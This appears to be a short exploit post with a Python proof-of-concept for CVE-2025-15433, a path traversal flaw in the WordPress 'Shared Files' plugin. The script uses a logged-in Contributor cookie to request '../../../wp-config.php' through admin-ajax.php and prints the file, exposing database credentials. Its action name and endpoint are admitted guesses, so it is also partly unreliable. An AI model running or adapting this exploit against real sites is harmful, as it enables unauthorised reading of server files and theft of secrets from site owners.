CVE-2025-15433: Shared Files插件路径遍历漏洞

import requests # CVE-2025-15433 PoC: Shared Files < 1.7.58 Arbitrary File Download # Requires Contributor privileges or higher. target_url = "http://example.com" login_cookie = "wordpress_logged_in_xxx=..." # Cookie from logged in Contributor user # The vulnerable endpoint usually involves a direct or AJAX request to download a file. # The payload uses directory traversal to escape the web root. file_to_download = "../../../wp-config.php" headers = { "Cookie": login_cookie, "User-Agent": "Mozilla/5.0 (PoC Scanner)" } # Example endpoint structure (adjust based on actual plugin routing) # Often plugins use /?download=... or specific admin-ajax.php actions url = f"{target_url}/wp-admin/admin-ajax.php" payload = { "action": "shared_files_download_file", # Hypothetical action name "file": file_to_download } response = requests.get(url, headers=headers, params=payload) if "define('DB_NAME'" in response.text: print("[+] Vulnerability Exploited Successfully!") print("[+] File Content:") print(response.text) else: print("[-] Failed to exploit or target not vulnerable.")